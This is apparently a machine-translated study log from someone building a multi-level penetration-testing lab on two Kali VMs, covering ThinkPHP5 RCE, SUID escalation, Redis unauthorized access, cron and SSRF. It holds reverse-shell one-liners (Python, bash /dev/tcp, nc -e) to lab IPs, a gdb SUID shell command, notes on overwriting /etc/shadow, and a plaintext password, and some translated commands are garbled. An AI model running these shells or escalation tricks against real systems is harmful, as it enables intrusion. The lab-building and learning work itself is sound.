あなた自身が質問者になったことがある場合にのみ、質問者の視点から問題を考える感覚を得ることができます。概要を踏まえて考えたターゲットドローンです。事実はそれが全く異なることを証明しています。
アイデアの準備
準備: 1 つの Kali を使用してクローンを作成しました。これを Kali No. 2 と呼びます。今では 2 つあります。
カリ1:192.168.10.35
カリ2:192.168.10.39
スナップショットを撮ってみましょう! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !
手順: まず、kali1 を使用して kali2 の www-data の権限を取得し、次に docker で thinkphp5 を見つけます (この脆弱性は docker でのみ見つかり、公式 Web サイトでは入手できないため、kali2 に直接ビルドすることはできません)。 rce をクラックした後、gk の公開鍵のユーザーを取得します。ssh -i を実行した後、suid は特権を kali2 の最上位のユーザー root に昇格させます。 (ここには最高の権限がありますが、学ぶことが好きな同志は、イントラネットの侵入を学ぶ機会を利用できます) そして、イントラネットに侵入して、kali2 イントラネットの ubuntu にアクセスします。
目的:
1. Thinkphp5 フレームワークの構造と特性を理解し、Thinkphp5 フレームワークの脆弱性ポイントをマスターし、リモート コード実行の脆弱性を悪用する方法と
その方法をマスターします。リモートコード実行の脆弱性を利用してファイルを書き込みます。2. FRP ネットワーク プロキシ ツールの使用と、ネットワーク トラフィックの侵入のための FRP 構成ファイルの作成をマスターし、ネットワーク トラフィックの侵入のための Socks5 トンネルを構築するための SSH の使用をマスターします。 (FRP または SSH のいずれかをマスターできます) プロキシファイアーまたはプロキシチェーンの使用法をマスターして、ネットワーク侵入のためにトラフィックを Socks5 トンネルに転送します。
3. Linux システムを理解し、SUID プログラムを構成する方法を使用して権限を昇格します。
4. Linux の定期スケジュールタスク Crontab の記述ルールとスケジュールタスクファイルの保存場所をマスターします。
5. リバウンド シェルについて学びましょう。 シェルをリバウンドするいくつかの方法を十分にマスターし、Webshell を取得してホスト操作権限を取得します。
6. 質問
7. ssrf CCP gopherの利用+redis不正アクセス脆弱性の学習
最初のラウンド
1.www-data にログインできません
www-data ユーザーとして Composer を実行する - Daweibro ブログ (daweibro.com)ここに説明があります
2. 異なるユーザーが同じ IP を持っていますか?
同じ。
3. www-data に切り替えて Web サイトを構築するにはどうすればよいですか?
www-data ユーザーに切り替える - Li Zhaoyao - Blog Park (cnblogs.com)www-adata ユーザーに切り替える
一般の Linux ユーザーが sudo コマンドを使用できない問題を解決する_localhost で sudo-CSDN ブログを実行する権限がないsudo の後、いくつかのコマンドを使用できるようになります
4. 申し訳ありませんが、ユーザー www-data は kali 上で sudo を実行できません。
一般の Linux ユーザーが sudo コマンドを使用できない問題を解決_localhost で sudo を実行する権限がない - CSDN ブログ
5. ターゲットドローンを攻撃するための最初のステップであるrce脆弱性Webサイトを構築します〜
python -c 'インポートソケット、サブプロセス、os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2( s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
成功
2番目のレベルはctfです
6. 追加したユーザーを削除する方法
Ubuntu が新しいユーザーを作成する_ubuntu がユーザーを作成する-CSDN ブログ
7. gk ユーザーを作成し、ssh 公開キーと秘密キーを使用したログインとして設定します。
Linux はユーザーを作成し、キー ペアを使用してログインします_linux はユーザーを追加し、ユーザーは公開キーを介してアクセスを実現します - CSDN ブログ
[test@host .ssh]$ cat id_rsa.pub >>authorized_keys
これで公開キーのインストールは完了です。接続を成功させるには、次のファイル権限が正しいことを確認してください。
[root@host .ssh]$ chmod 600 allowed_keys
[root@host .ssh] ssh]$ chmod 700 ~/.ssh
"cat id_rsa.pub >>authorized_keys": リモート ホストがパスワードなしでローカル コンピューター上の SSH 秘密キーを認証できるように、ローカル コンピューター上の公開キーをリモート ホストの Authorized_keys ファイルに追加します。で。
"chmod 600authorized_keys": 現在のユーザーのみが読み取りおよび書き込み権限を持ち、他のユーザーには権限がないように、authorized_keys ファイルの権限を設定します。これにより、他のユーザーがファイルの内容を改ざん、削除、または表示することができなくなります。 SSH キーのセキュリティを確保します。
"chmod 700 ~/.ssh": 現在のユーザーのみが読み取り、書き込み、実行の権限を持ち、他のユーザーには権限がないように .ssh フォルダーの権限を設定します。これにより、他のユーザーが表示、変更、または、フォルダー内のファイルを削除します。これには SSH 秘密キーと公開キーが含まれており、SSH キーのセキュリティを確保します。
RSA認証はい
公開鍵認証はい
RSAAuthentication
とPubkeyAuthentication
は、SSH 接続のキー認証を有効にする OpenSSH サーバーの構成オプションです。
RSAAuthentication
: このオプションは、認証に RSA キー認証の使用を許可するかどうかを指定します。 RSA キーは、秘密キーと公開キーのペアを使用する非対称暗号化アルゴリズムです。クライアントが SSH 経由でサーバーに接続しようとすると、認証に RSA キー ペアが使用されます。
PubkeyAuthentication
: このオプションは、公開鍵認証を有効にするかどうかを指定します。公開キー認証では、認証に非対称キー ペアの公開キーを使用します。クライアントは検証のために公開キーをサーバーに送信しますが、秘密キーはクライアントに残ります。公開キーの検証が成功すると、サーバーはクライアントのログインを許可します。
ssh、sshキーの生成、サーバー認証とログインの詳細な説明 - Zhihu (zhihu.com)
ssh -i id_rsa [email protected]
7. 上記のコマンド des を暗号化します。これには、圧縮パッケージ ステガノグラフィー、png ステガノグラフィー + リバースも含まれます。
オンライン DES 暗号化 | DES 復号化 - オンライン ツール (sojson.com)
www-data のホーム ディレクトリに配置し、名前を .flag に変更しました。
ファイルを直接確認して zip パッケージであることを確認することも、010 を使用して確認することもできます。
次に、逆の順序で写真があり、次に png 幅のステガノグラフィーがあり、最初は jpg 高さのステガノグラフィーを思いつきました~
最後に Web サイトが表示されます。これが質問 9 の Web サイトです。
9. www-data が docker で thinkphp5 を実行できるようにする
www-data ユーザーを使用して Composer を実行する - Daweibro ブログ (daweibro.com)
/etc/passwd——>/usr/sbin/nologin www-data の www-data に対する現在の権限
ヴィム・スドーアーズ
www-data ALL=(ALL) NOPASSWD: /usr/bin/docker-compose
docker を実行し、thinkphp を起動します
vulhub-thinkphp 脆弱性再発_vulhub thinkphp_0xActive のブログ - CSDN ブログ
docker-compose down #イメージを閉じて、その場所に注意してください
ポートを変更したい場合は、
vim docker-compose.yml
好きなだけ変更してください
10. 公開キーを内部に隠したいのですが、thinkphp の脆弱性を利用してパスワードを取得し、gk の .ssh に移動してパッケージを解凍し、公開キーを取得して gk にログインします。
F9!e#2rT5@p1
thinkphp活用ツールダウンロード
thinkphp 脆弱性悪用ツール - thinkphp_gui_tools(3)_thinkphp 総合悪用ツール - CSDN ブログ
3番目のレベル
11. gk へのログインに成功したら、suid 権限昇格の脆弱性を再現する方法を学びます。
12. suid 権限昇格とは何ですか?
SUID (ユーザー ID の設定) は、ファイルの実行時に一時的にユーザー権限を昇格するために使用されるファイル権限設定です。実行可能ファイルのアクセス許可が SUID ビットで設定されている場合、ファイルを実行する人は一時的にファイル所有者のアクセス許可を持ちます。
具体的には、実行可能ファイルのユーザー権限に SUID ビットが設定されている場合、別のユーザーがファイルを実行すると、そのファイルは実行者自身の権限ではなく、ファイル所有者の権限で実行されます。これにより、一般ユーザーは、特権操作を必要とする特定のプログラムを実行するときに、一時的にスーパーユーザー特権の一部またはすべてを取得できるようになります。
簡単に言うと、実行可能ファイルに権限を設定して、他の一般ユーザーがそのファイルを所有者として実行できるようにすることを意味します。
13.suid 権限昇格が再表示されます。gk に組み込まれています。 は、権限昇格を実行するように SUID プログラムを構成する方法を使用します。
レッド チームのメモ: Suid 権限昇格と利用方法の概要_Suid 権限昇格、-CSDN ブログ、この学習権威は非常に優れています
Linux----SUID 権限昇格の再発 - CSDN ブログ、これは構築上のアイデアですが、私が望むものではありません
SUID 権限昇格についての簡単な説明 - FreeBuf ネットワーク セキュリティ業界ポータルこれには、私が望んでいることのいくつかが含まれています
suid の脆弱性を見つける
vim suid の脆弱性構築
許可する前に、final_flagを確認してください
中に入ると、実行権限が十分ではないというメッセージが表示され、その後、シェルの後、この権限は次のようになります。
問題は、誰に変更すべきかということですが、まず vim.tiny を試してみます。
少し説明すると、ダウンロードして権限を与えると、sudoに相当するroot権限を持つvim.tinyを直接使うことができます。
成功しましたが、シェル後もまだ動作せず、まだ通常のユーザーです
それでは、これを試してみましょう
vim.basic Final_flag
vim.tiny で u-s を実行しましたが、権限が失敗しました。これは、vim.basic と vim.tiny が独立していることを意味します。時期が来たら、両方を試すことができます。
バッシュ
反応せずに直接使用すると効果は明らかです。
男、ますます少なくなる
許可を与える前に、必要に応じて !/bin/sh を入力してください
許可を与えた上で
結果は機能しませんが、final_flag を直接指定しないと機能します。
私は chmod を減らしました、えっ!要件を満たす
男、多くのことは同じです
cpはmvと同じです
cp を使用して /etc/shadow をカバーする
mv を使用して /etc/shadow または /etc/sudoers をカバーする
もうデモはやめろ
ああ
許可を与える前に
渡してからもこのままです
これもうまくいきません
理由はソフト接続だからです
実際のファイルを見つける
許可を与えてもまだ機能しません。
gdb (他のブロガーによって書かれたもの)
gdb -nx -ex 'Python インポート OS; os.execl("/bin/sh", "sh", "-p")' -ex 終了
私が集めたものもあります
最初のレベルを変更し、www-data のアクセス許可を取得するためのもう 1 つの方向を設定します (ブルート フォース クラッキング + Cookie 変更)。
12. 最初のレベルを変更します。最初のレベルでは、Cookie を削除するときに単純なバイパスを追加します。概要は次のようになります。BurpSuite を使用して WEB アプリケーションにログインできるブルート フォース クラッキング. 、ブルート フォース クラッキング用のディレクトリ。マスター削除C単純なフィルタリングをバイパス 。よくわかっていない気がするので、先生に聞いて、簡単なフィルタリングをして、Cookieを変更して回避し、Cookieを削除してください〜〜本当にわかりません。
考えて要件を緩和し、Cookieを削除してCookieを管理者に変更することで回避できました。
これは、Cookie ログインを変更するための例とコードです。
1-11 Burpsuite ディレクトリ スキャン検出_burpsuite スキャン Web サイト ディレクトリ - CSDN ブログこれは、Web ページをバープブラストする例です
まだディレクトリ スキャン ツールをお探しですか? BP 1 つですべてを処理できます。 - FreeBuf サイバーセキュリティ産業ポータル
Burp Suite には、よく使用される多くの辞書が付属しており、共通ディレクトリ辞書には、多くの一般的なディレクトリ名が含まれています。
しかし、ネットで調べてもこの辞書は見つかりませんでした
2022 - ペネトレーション テスト - Web ディレクトリの爆発 - よく使用される 3 つのツール_dirbuster_Keep Smiling - Ze のブログ - CSDN ブログ
これは dirb の辞書 /usr/share/wordlists/dirb/big.txt です
kali システムの /usr/share/wordlists/ ディレクトリには多くの辞書があり、ツールを使用するときに直接使用できます。同時に、Github には多くの公開辞書があり、自分でダウンロードして使用できます。
ここにはたくさんの自己テキストがあるようです。必要かどうかを確認してください
これ/download/dict/ (somd5.com) のインデックス
げっぷ辞書_侵入における爆破辞書の生成 - CSDN ブログただし、すべてのディレクトリのファイル名を爆破する方法もありますが、長さに制限があります。この方法は極端すぎます。 . 推奨されません
Cookie やローカル ストレージを変更する方法はありますか? _f12 Cookie を変更する_健康になりたいブログ - CSDN ブログCookie を削除する方法、げっぷでも削除できるため、学ぶ必要はありません
最初のレベルにはフロントエンドとバックエンドが必要です。行き詰まったら、最初に第 4 レベルを実行しましょう~
レベル4
13. 不正アクセスの脆弱性を作成する
redis のインストールとアンインストール (Linux バージョン)_rz コマンドのアンインストールとインストール - CSDN ブログ以前の上位バージョンの +redis 接続をアンインストールしました。その起動は私にはあまり適していません。 install プロセス中に、以下のものを検索しました。以下のものはバージョン 4.* です。とにかく、バージョンが古いほど良い
Redis不正脆弱性検出方法 + Redis基礎 + Redis環境構築 + Redis悪意悪用_redis論理脆弱性テスト方法 - CSDNブログ
不正アクセスの脆弱性を学ぶことで不正アクセスの脆弱性構築の問題を解決; Redisをバックグラウンドで起動する設定; 3つの侵入方法を学ぶ; インストール
[選択済み] Redis の不正アクセスの脆弱性を利用してホストの権限を取得_redis で権限を取得_Big Bird セキュリティ ブログ-CSDN ブログ
3 つの侵入方法 + 脆弱性バージョンの紹介 (これは非常に重要です。そうでなければ、7* バージョンをアンインストールしません)
[選択済み] Redis の不正アクセスの脆弱性を利用してホストの権限を取得_redis で権限を取得_Big Bird セキュリティ ブログ-CSDN ブログ
不正な脆弱性を悪用する 3 つの方法。前と同じです。まだよく勉強していません。明日検討します。
Redis_redis スタートアップを開始する 3 つの方法 - CSDN ブログ
Redisの起動
次に接続します—>redis-cli -p 6379
14.redisの脆弱性悪用
Redis不正脆弱性検出方法 + Redis基礎 + Redis環境構築 + Redis悪意悪用_redis論理脆弱性テスト方法 - CSDNブログ
時間制限付きタスク学習
他の人の Redis にリモートで接続する場合は、Redis インスタンスの IP アドレスとポート番号、および正しいパスワード (存在する場合) を知っている必要があります。この情報を取得したら、redis-cli ツールを使用して Redis インスタンスに接続できます。
以下は、Redis インスタンスに接続するためのコマンドの例です。
redis-cli -h <Redis IP> -p <Redis Port> -a <Redis Password>
たとえば、Redis インスタンスの IP アドレスが 192.168.1.100、ポート番号が 6379、パスワードが mypassword の場合、次のコマンドを使用して Redis インスタンスに接続できます。
リモート接続 redis
./redis-cli -h 192.168.10.22 -p 6379
redis-cli -h 192.168.1.100 -p 6379 -a mypassword
接続に成功すると、get、set などの Redis 関連コマンドを実行して Redis を操作できるようになります。 Redis インスタンスの使用に関する承認を取得し、他の人の規制に準拠していることを確認してください。
なお、Redis へのリモート接続にはセキュリティリスクが伴いますので、適切な認可・権限を取得していることを確認し、Redis の認証機能の有効化、TCP 接続の制限、SSL/TLS 暗号化の使用など、必要なセキュリティ対策を講じてください。 。
これまでのところ、Redis WebShell の脆弱性とスケジュールされたタスクの脆弱性を試すことに成功しており、今日はそれを取得してみます。
それから、Redis の理論を学び、スケジュールされたタスクを書き始めました。試しにいくつか書いて、食べ物を一度に一口ずつ食べました。続けるのにあまり焦ることはできませんでした。
要約すると、redis の不正アクセスの脆弱性により、ファイルを書き込む権利が与えられ、ファイルを置く場所も選択できます。その能力は強力ですが、依然として root として記述されています。はい、なぜ root なのでしょうか? redis が root であるためです。ダウンロードしますか?
これは素晴らしい質問です。 ! !まずはそれを守ってください
1. 情報の表示: info
2. すべてのデータベースの内容の削除: フラッシュ可能
3. データベースの更新: フラッシュ
4. すべてのキーを表示します: KEYS*、キー値データを表示するには select nun を使用します
5. 変数を設定します: set test "who am i
6 . config set dir dirpath パスとその他の構成を設定します
7.config get dir/filename でパスとデータ構成情報を取得します
8.save 保存 元のリンク: https://blog.csdn.net/q20010619/article/details/121912003 著作権表示: この記事は CSDN です。ブロガー「OceanSec」による元の記事は、CC 4.0 BY-SA 著作権規約に従っています。転載する場合は、元のソースリンクとこの声明を添付してください。 —————————————————
9. 変数を取得して変数名を表示します
明日注意が必要なことと解決策
14.Redisとcronは起動後に自動的に起動します(スケジュールされたタスクを書きました)、kaliで起動できない問題、および高速起動の問題。
systemctl の再起動が開始できないのは、構成ファイルの移動の問題が原因である可能性があります。
cp /redis-4.0.11/redis.conf /usr/local/redis
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
/usr/local/redis/bin/redis-cli
まず、ターミナルを開き、テキスト エディタを使用して
~/.bashrc
ファイルを開きます
vim ~/.bashrc
ファイルの末尾に次の行を追加します (Redis 実行可能ファイルのパスが
/root/redis-4.0.11/src
であると仮定します):
export PATH=$PATH:/root/redis-4.0.11/src
ファイルを保存して閉じます。次に、次のコマンドを実行して変更を有効にします。
source ~/.bashrc
フルパスを指定せずに
redis-cli
コマンドを直接実行できるようになりました。
15. スケジュールされたタスクが失敗する問題
リバウンド シェルが失敗するいくつかの理由_リバウンド シェルが応答しない - CSDN ブログ
指定したコマンドに基づく
bash -i >& /dev/tcp/192.168.10.35/4444 0>&1
、エラーが発生しました。このエラー メッセージは、パスがシステムに存在しないことを示します。/dev/tcp/192.168.10.35/4444
これは、
/dev/tcp
が TCP 接続の確立に使用される Bash シェルの特別なデバイス ファイルであるためです。ただし、すべてのシェルがこの機能をサポートしているわけではありません。/dev/tcp
zsh シェルを使用している場合は、
/dev/tcp
を介した直接の TCP 接続の確立がサポートされていない可能性があります。したがって、nc
コマンド (netcat とも呼ばれます) を使用して TCP 接続を確立するなど、ニーズを達成するために他の方法を使用する必要がある場合があります。3. nc -e /bin/bash 192.168.10.35 4444
配置パスの問題もあり、現在は /var/spool/cron/crontab/root ファイルに配置しています。
/var/spool/cron/root を試してみますが、うまくいきません。kali も ubuntu も、/var/spool/cron/crontab/root しか置くことができません。 ! ! !なぜ成功しなかったのですかと言いました。
くそ! ! ! !
Ubuntu のスケジュールされたタスクは、ファイル /etc/crontanb に書き込まれる必要があります。
いいえ、情報を確認したところ、/etc/crontab はシステムのスケジュールされたタスクであり、/var/spool/cron/crontab/user はユーザーのスケジュールされたタスクです。しかし、なぜそれを実行しないのでしょうか?
ありがたい! ! ! ! ! !
ubuntu でスケジュールされたタスクが実行されない問題を解決する - CSDN ブログ
ログには、与えられた権限が高すぎて安全ではないため実行されず、権限を 0600 に変更する必要があることが示されています。
なんと、変更を加えたら成功しました! ! 、次に権限を変更し、スケジュールされたタスクとして設定しました
16. ssrf gopher 脆弱性 Web サイトを構築する
SSRF---gopher と dict play redis_gophar play redis_Z3eyOnd のブログ - CSDN ブログ
この中で非常に重要だと思われることが 1 つあります、dict://127.0.0.1:6379/auth: パスワード
[選択] CTFHub-Web-SSRF Exercise_ssrf Question_Atkxor のブログ - CSDN ブログ
その中には非常に優れていると思う例が含まれています。ここでは、ブロガーが使用している、非常に優れていると思うツールを紹介します。
17.Dockerでubuntuをビルドする
Docker コンテナの使用 | 初心者チュートリアル (runoob.com) docker を学ぼう! ! ! ! Docker を学習しましょう! ! ! !
実践的な戦闘 | Docker ubuntu:18.04 イメージの作成 - Zhihu (zhihu.com) 概要の要件に従って ubuntu server18.04 をダウンロードします。失敗したため試さないでください。それ! ! ! ! ! ! ! ! ! ! ! 1
Docker イメージとコンテナの削除方法を学ぶDocker コンテナを削除するコマンドとimages_docker delete Container-CSDN ブログ
はいはい! ! ! !
くそー、私が欲しい ubuntu を構築する方法を学びます! ! ! !
docker serach ubuntu18.04 を実行した後、人工知能に尋ねたところ、jjuanrivvera99/ubuntu18.04-apache2-php7.2-oracleclient12.2 イメージが適しているが、redis が存在しないとのことでした。大丈夫です。インストール パッケージはあります。 . 小さな問題なので試してみます。
docker serach ubuntu18.04 #ミラーを見つける
docker pull jjuanrivvera99/ubuntu18.04-apache2-php7.2-oracleclient12.2#ミラーのプル
docker run -itd --name ubuntu-test ubuntu #画像电影
または docker run -i -t ubuntu:18.04 /bin/bash #コンテナーの作成
18. コンテナーの起動における docker-compose up -d と docker run -i -t ubuntu:18.04/bin/bash の違いは何ですか?
Docker コンテナを起動するための 2 つの異なるコマンド。
docker-compose up -d: これは docker-compose コマンドの一部であり、compose ファイルを使用して複数のコンテナーを起動するために使用されます。 Compose ファイルは、イメージ、ポート マッピング、環境変数などの一連の関連サービスの構成を定義します。 docker-compose up -d コマンドを使用すると、Docker は Compose ファイルの定義に基づいてすべてのコンテナを作成して起動し、それらをバックグラウンド (デタッチ モード) で実行します。これにより、複数の関連コンテナの起動と管理が簡単になります。
docker run -it: これは、単一のコンテナーで実行される docker コマンドの一部です。 docker run -it コマンドを使用すると、指定されたイメージに基づいて新しいコンテナーを作成し、そのコンテナーを対話型ターミナル (対話型モード) に入力できます。この方法は、コンテナーの操作、ログの表示、またはデバッグが必要なシナリオに適しています。
したがって、主な違いは次のとおりです。
- docker-compose up -d は、Compose ファイルに基づいて定義された複数のコンテナを起動するために使用され、コンテナの一括起動と管理に適しています。
- docker run - コンテナーとの対話やデバッグに適した別個のコンテナーを作成して入力するために使用されます。
docker-compose は、複数のサービス間の接続と依存関係を定義することで、コンテナ間の通信とコラボレーションを実現できることに注意してください。 docker run コマンドは主に単一コンテナの操作に使用されます。
これでドクサーは終了です。 。 。 。 。 。 。研究は続けません
19. ubuntu でセットアップ Web サイトを構築してみる
ドッカーをダウンロードしました
19.イントラネット侵入の設定方法を学ぶ
もう 1 つの新しいことを学びました。これにより、Web サイトのディレクトリを構築できるようになります。
Python -m http.server 8080
kali2 上で thinkphp5 をビルドする
まず、Docker を直接ダウンロードします
vulhub-thinkphp 脆弱性再発_vulhub thinkphp_0xActive のブログ - CSDN ブログ
kali2 で ubuntu をビルドする
最終的には成功しましたが、kali クローンはリンク クローンであり、送信できないことがわかりました。 。 。 。 。